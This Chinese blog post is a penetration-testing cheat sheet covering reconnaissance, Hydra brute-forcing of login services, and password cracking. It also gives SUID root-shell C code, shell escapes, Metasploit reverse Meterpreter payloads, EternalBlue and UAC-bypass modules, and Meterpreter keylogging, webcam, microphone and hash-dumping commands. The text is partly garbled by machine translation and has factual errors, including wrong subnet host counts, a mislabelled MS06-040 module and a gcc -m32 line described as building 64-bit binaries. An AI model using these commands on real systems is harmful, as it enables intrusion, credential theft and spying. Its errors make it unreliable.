渗透测试备忘录:包含工具、技术和技巧

温馨提示:本文最后更新于2023-12-26 11:32:57,某些文章具有时效性,若有错误或已失效,请在下方留言或联系站长

这一份备忘录,有助于你全面了解渗透测试,让你在渗透测试领域快速学习、参考、熟悉命令和技术,此备忘单拥有探索工具、方法和见解,以实现有效的侦察、枚举、权限提升、密码破解、漏洞利用研究等。利用这一宝贵的资源提升您的渗透测试技能!

侦察和枚举

NMAP 命令

Nmap(“网络映射器”)是一个免费的开源实用程序,用于网络发现和安全审计。它是系统和网络管理员用于网络清单、管理服务升级计划以及监控主机或服务正常运行时间等任务的多功能工具。Nmap在所有主要的计算机操作系统上运行,官方二进制包可用于Linux,Windows和Mac OS X。

命令 描述
nmap -v -sS -A -T4 target Nmap 详细扫描、运行同步隐身、T4 计时、操作系统和服务版本信息、跟踪路由和针对服务的脚本。
ping sweep sudo nmap -pn target 对目标网络执行 ping 扫描以查看所有可用 IP。
nmap -v -sS -p–A -T4 target 如上所述,但扫描所有TCP端口(需要更长的时间)。
nmap -v -sU -sS -p- -A -T4 target 如上所述,但扫描所有TCP端口和UDP扫描(需要更长的时间)。
nmap -v -p 445 –script=smb-check-vulns --script-args=unsafe=1 192.168.1.X 用于扫描易受攻击的 SMB 服务器的 Nmap 脚本。
nmap localhost 显示当前正在使用的所有端口。
ls /usr/share/nmap/scripts/* | grep ftp 在 nmap 脚本中搜索关键字。

SMB 枚举

在计算机网络中,服务器消息块 (SMB) 作为应用层网络协议运行,主要用于提供对文件、打印机和串行端口的共享访问。

命令 描述
nbtscan 192.168.1.0/24 发现子网上的Windows / Samba服务器,查找Windows MAC地址,netbios名称和发现客户端工作组/域。
enum4linux -a target-ip 执行所有操作,运行除基于字典的共享名称猜测之外的所有选项(查找Windows客户端域/工作组)。
smbclient -L target-ip 列出目标计算机上可用的所有 SMB 共享。
smbget -R smb://target-ip/share 以递归方式从 SMB 共享下载文件。
rpcclient -U "" target-ip 使用空用户名连接到 SMB 服务器并列出可用命令。
showmount -e target-ip 显示目标计算机上的可用共享,对 NFS 很有用。
smbmap -H target-ip 显示目标的共享权限。
smbstatus 列出当前的 Samba 连接。在目标计算机上运行时很有用。

其他主机发现方法

不使用 Nmap 的其他主机发现方法。

命令 描述
netdiscover -r 192.168.1.0/24 从 ARP 发现子网上的 IP、MAC 地址和 MAC 供应商。
arp-scan --interface=eth0 192.168.1.0/24 ARP 扫描以发现本地网络上的主机。
fping -g 192.168.1.0/24 将 ICMP 回显请求发送到多个主机以检查它们是否处于活动状态。
masscan -p1-65535,U:1-65535 192.168.1.0/24 --rate=1000 以高速率扫描所有端口,这对于初始发现非常有用。

蟒蛇本地网络服务器

Python 本地 Web 服务器命令,方便在攻击机器上提供 shell 和漏洞利用。

命令 描述
python -m SimpleHTTPServer 80 运行一个基本的HTTP服务器,非常适合提供shell等。
python3 -m http.server 80 使用 Python 3 运行基本的 HTTP 服务器。
python -m SimpleHTTPServer 80 --bind 192.168.1.2 将服务器绑定到特定的 IP 地址。

装载文件共享

如何挂载NFS / CIFS,Windows和Linux文件共享。

命令 描述
mount 192.168.1.1:/vol/share /mnt/nfs 将 NFS 共享装载到 。/mnt/nfs
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs 在 Linux 上安装 Windows CIFS / SMB 共享。/mnt/cifs
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no 从命令行在 Windows 上装载 Windows 共享。
apt-get install smb4k -y 在Kali上安装smb4k,这是用于浏览SMB共享的有用Linux GUI。
smbclient -L //192.168.1.X -U username 列出 Windows 计算机上可用的 SMB 共享。

基本指纹

设备指纹或机器指纹或浏览器指纹是为识别目的而收集的有关远程计算设备的信息。

命令 描述
nc -v 192.168.1.1 25 通过显示的横幅进行基本版本控制/指纹识别。
telnet 192.168.1.1 25 基本版本控制/指纹识别的另一种方法。
curl -I http://192.168.1.1 获取用于对 Web 服务器进行指纹识别的 HTTP 标头。
nmap -O 192.168.1.1 使用 Nmap 执行操作系统检测。
whatweb 192.168.1.1 确定目标上使用的 Web 技术。

SNMP 枚举

SNMP 枚举是使用 SNMP 枚举目标系统上的用户帐户的过程。

命令 描述
snmpcheck -t 192.168.1.X -c public SNMP 枚举
snmpwalk -c public -v1 192.168.1.X 1 SNMP 枚举
snmpenum -t 192.168.1.X SNMP 枚举
onesixtyone -c names -i hosts SNMP 枚举
snmpbulkwalk -v2c -c public -Cn0 -Cr10 192.168.1.X 批量 SNMP 枚举

DNS 区域传输

命令 描述
nslookup -> set type=any -> ls -d blah.com 视窗 DNS 区域传输
dig axfr blah.com @ns1.blah.com Linux DNS 区域传输
host -l blah.com ns1.blah.com 另一种 Linux DNS 区域传输方法

DNSRecon

DNSRecon 提供了执行各种 DNS 枚举任务的能力。

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

命令 描述
nikto -h 192.168.1.1 对目标执行 nikto 扫描
dirbuster 通过 GUI 配置,CLI 输入大部分时间不起作用
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 目录暴力破解与破坏者
wpscan --url http://192.168.1.1 WordPress漏洞扫描程序
joomscan -u http://192.168.1.1 乔姆拉漏洞扫描程序
uniscan -u http://192.168.1.1 -qweds Uniscan 自动漏洞扫描程序
curl -I http://192.168.1.1 使用 curl 获取 HTTP 标头
nmap -p80 --script http-enum 192.168.1.1 用于 HTTP 枚举的 Nmap 脚本
whatweb http://192.168.1.1 识别网站上使用的技术
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ Fuzzing HTTP with wfuzz

数据包检测

命令 描述
tcpdump tcp port 80 -w output.pcap -i eth0 捕获端口 80 上的数据包
‘tcpdump -i eth0 ‘port 443 and (tcp-syn tcp-ack)!=0”
wireshark -k -i <interface> 在特定界面上打开 Wireshark
tshark -i eth0 -f "tcp port 80" 在端口 80 上使用 tshark 捕获数据包

用户名枚举

SMB 用户枚举

命令 描述
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX 枚举来自 SMB 的用户
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID 周期 SMB /枚举来自 SMB 的用户
enum4linux -U 192.168.XXX.XXX 使用 enum4linux 枚举 SMB 用户名

SNMP 用户枚举

命令 描述
‘snmpwalk public -v1 192.168.X.XXX 1 格雷普 77.1.2.25
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX 从 SNMP 枚举用户
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt 搜索具有 nmap、grepable 输出的 SNMP 服务器

密码

单词列表

命令 描述
/usr/share/wordlists 卡利词表
wget https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 从 GitHub 下载热门词表

HackToday博客上的大量单词列表

暴力破解服务

水螅

FTP 暴力破解

命令 描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V 九头蛇FTP蛮力

POP3 蛮力

命令 描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V 九头蛇POP3蛮力

SMTP 暴力破解

命令 描述
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V 九头蛇SMTP蛮力

SSH 暴力破解

命令 描述
hydra -l root -P /usr/share/wordlistsnmap.lst 192.168.X.XXX ssh 九头蛇 SSH 蛮力

用于限制并发连接,例如:-t-t 15

密码破解

John The Ripper – JTR

命令 描述
john –wordlist=/usr/share/wordlists/rockyou.txt hashes JTR密码破解
john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt JTR强制使用单词列表进行解密破解
john –format=descrypt hash –show JTR强制解密暴力破解

Hashcat

命令 描述
hashcat -m 0 -a 0 hash.txt wordlist.txt 哈希猫MD5破解
hashcat -m 1000 -a 0 hash.txt wordlist.txt 哈希猫NTLM破解

漏洞利用研究

命令 描述
‘搜索视窗 2003 grep -i local’
site:exploit-db.com exploit kernel <= 3 谷歌搜索内核漏洞 exploit-db.com
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/* 在 Metasploit 模块中搜索 Windows 7 漏洞
msfconsole -q -x "search name:windows type:exploit" Search Metasploit for Windows exploits

编译漏洞

确定 C 代码是用于 Windows 还是 Linux

头文件 操作系统
process.h, string.h, winbase.h, windows.h, winsock2.h 窗户
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h Linux目录

构建漏洞利用 GCC

命令 描述
gcc -o exploit exploit.c 基本 GCC 编译
gcc -Wall -Wextra exploit.c -o exploit 使用所有警告和附加内容进行编译

GCC 在 32Bit Kali 上编译 64 位漏洞

命令 描述
gcc -m32 exploit.c -o exploit 在 32 位 Linux 上交叉编译 64 位二进制文件

在 Linux 上编译 Windows .exe

命令 描述
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe 在 Linux 上编译 Windows .exe
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe 在 Linux 上编译 64 位 Windows .exe

苏伊德二进制

SUID C Shell for /bin/bash

int main(void){       setresuid(0, 0, 0);       system("/bin/bash");}

SUID C Shell for /bin/sh

int main(void){       setresuid(0, 0, 0);       system("/bin/sh");}

构建 SUID 外壳二进制文件

命令 描述
gcc -o suid suid.c 编译 SUID 外壳
gcc -m32 -o suid suid.c 编译 32 位 SUID 外壳

TTY贝壳

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

生成互动 sh 外壳

/bin/sh -i

生成 Perl TTY 外壳

perl -e 'exec "/bin/sh";'

生成红宝石 TTY 外壳

ruby -e 'exec "/bin/sh"'

生成路亚TTY外壳

lua -e 'os.execute("/bin/sh")'

从 Vi 中生成 TTY 壳

:!bash

从 NMAP 生成 TTY 外壳

!sh

从awk生成TTY外壳

awk 'BEGIN {system("/bin/sh")}'

从索卡特生成TTY壳

socat file:tty,raw,echo=0 tcp-listen:4444

Metasploit

仪表有效载荷

Windows 反向计量器有效负载

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp

安卓反向仪表有效载荷

set payload android/meterpreter/reverse_tcp

仪表备忘单

命令 描述
upload file c:\\windows 将文件上传到视窗目标
download c:\\windows\\repair\\sam /tmp 从视窗目标下载文件
execute -f c:\\windows\temp\exploit.exe 在目标上运行.exe
execute -f cmd -c 使用 cmd 外壳创建新通道
ps 显示流程
shell 在目标上获取外壳
getsystem 尝试在目标上提升权限
hashdump 在目标上转储哈希
portfwd add –l 3389 –p 3389 –r target 创建转发到目标计算机的端口
portfwd delete –l 3389 –p 3389 –r target 删除端口转发
screenshot 捕获目标计算机的屏幕截图
keyscan_start 启动键盘记录器
keyscan_dump 转储收集的击键
webcam_snap 拍摄网络摄像头快照
record_mic 录制麦克风
enum_chrome 枚举 Chrome 浏览器数据

常见元模块

Remote Windows Metasploit Modules (exploits)

命令 描述
use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 远程漏洞利用
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index MS09_050 Windows Vista SP1/SP2 和 Server 2008 (x86) 远程攻击
use exploit/windows/smb/ms17_010_eternalblue MS17_010 永恒之蓝SMB远程视窗内核池损坏

Local Windows Metasploit Modules (exploits)

命令 描述
use exploit/windows/local/bypassuac 在 Windows 7 上绕过 UAC + 设置目标 + 架构,x86/64
use exploit/windows/local/ms10_015_kitrap0d MS10_015 Kitrap0d 本地权限提升

辅助元模块

命令 描述
use auxiliary/scanner/http/dir_scanner Metasploit HTTP 目录扫描程序
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS漏洞扫描程序
use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version Metasploit MySQL Version Scanner
use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

Metasploit Powershell Modules

命令 描述
use exploit/multi/script/web_delivery Metasploit动力壳有效载荷交付模块
post/windows/manage/powershell/exec_powershell 通过会话上传和运行 Powershell 脚本
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

后漏洞利用窗口元模块

命令 描述
run post/windows/gather/win_privs Metasploit显示当前用户的权限
use post/windows/gather/credentials/gpp Metasploit抓取GPP保存的密码
load mimikatz -> wdigest Metasploit load Mimikatz
run post/windows/gather/local_admin_search_enum 标识提供的域用户具有管理访问权限的其他计算机

联网

TTL 指纹识别

操作系统 TTL 大小
窗户 128
Linux目录 64
索拉里斯 255
思科/网络 255

IPv4

有类的 IP 范围

注意:A、B、C 类已弃用

IP 地址范围
A类 0.0.0.0 – 127.255.255.255
B类 128.0.0.0 – 191.255.255.255
C类 192.0.0.0 – 223.255.255.255
D类 224.0.0.0 – 239.255.255.255
E 类 240.0.0.0 – 255.255.255.255

IPv4 专用地址范围

范围
A类 10.0.0.0 – 10.255.255.255
B类 172.16.0.0 – 172.31.255.255
C类 192.168.0.0 – 192.168.255.255
回送 127.0.0.0 – 127.255.255.255

IPv4 子网备忘单

网段 十进制掩码 主机数量
/31 255.255.255.254 1 主机
/30 255.255.255.252 2 主机
/29 255.255.255.248 6 主机
/28 255.255.255.240 14 主机
/27 255.255.255.224 30 主机
/26 255.255.255.192 62 主机
/25 255.255.255.128 126 主机
/24 255.255.255.0 254 主机
/23 255.255.254.0 512 主机
/22 255.255.252.0 1022 主机
/21 255.255.248.0 2046 主机
/20 255.255.240.0 4094 主机
/19 255.255.224.0 8190 主机
/18 255.255.192.0 16382 主机
/17 255.255.128.0 32766 主机
/16 255.255.0.0 65534 主机
/15 255.254.0.0 131070 主机
/14 255.252.0.0 262142 主机
/13 255.248.0.0 524286 主机
/12 255.240.0.0 1048674 主机
/11 255.224.0.0 2097150 主机
/10 255.192.0.0 4194302 主机
/9 255.128.0.0 8388606 主机
/8 255.0.0.0 16777214 主机

ASCII 表备忘单

对于Web应用程序渗透测试很有用,或者如果您被困在火星上并需要与NASA通信。

ASCII Character ASCII Character ASCII Character ASCII Character
x00 Null Byte x08 BS x09 TAB x0a LF
x0d CR x1b ESC x20 SPC x21 !
x22 x23 # x24 $ x25 %
x26 & x27 ` x28 ( x29 )
x2a * x2b + x2c , x2d
x2e . x2f / x30 0 x31 1
x32 2 x33 3 x34 4 x35 5
x36 6 x37 7 x38 8 x39 9
x3a : x3b ; x3c < x3d =
x3e > x3f ? x40 @ x41 A
x42 B x43 C x44 D x45 E
x46 F x47 G x48 H x49 I
x4a J x4b K x4c L x4d M
x4e N x4f O x50 P x51 Q
x52 R x53 S x54 T x55 U
x56 V x57 W x58 X x59 Y
x5a Z x5b [ x5c \ x5d ]
x5e ^ x5f _ x60 ` x61 a
x62 b x63 c x64 d x65 e
x66 f x67 g x68 h x69 i
x6a j x6b k x6c l x6d m
x6e n x6f o x70 p x71 q
x72 r x73 s x74 t x75 u
x76 v x77 w x78 x x79 y
x7a z

思科 IOS 命令

命令 描述
enable 进入启用模式
conf t 简称,配置终端
(config)# interface fa0/0 配置快速以太网 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 将 IP 添加到 fa0/0
(config-if)# line vty 0 4 配置 vty 线路
(config-line)# login 思科设置远程登录密码
(config-line)# password YOUR-PASSWORD 设置远程登录密码
# show running-config 显示内存中加载的正在运行的配置
# show startup-config 显示启动配置
# show version 显示思科 IOS 版本
# show session 显示打开的会话
# show ip interface 显示网络接口
# show interface e0 显示详细的接口信息
# show ip route 显示路线
# show access-lists 显示访问列表
# dir file systems 显示可用文件
# dir all-filesystems 文件信息
# dir /all 显示已删除的文件
# terminal length 0 端子输出无限制
# copy running-config tftp 将运行配置复制到 tftp 服务器
# copy running-config startup-config 将启动配置复制到运行配置

密码学

哈希长度

散 列 大小
MD5 16 字节
SHA-1 20 字节
SHA-256 32 字节
SHA-512 64 字节

哈希示例

散 列
MD5 哈希示例 8743b52063cd84097a65d1633f5c74f5
SHA1 哈希示例 B89EAAC7E61417341b710b727768294d0e6a277b
SHA-256 127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

------关注微信公众号:胖大海TuT------
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容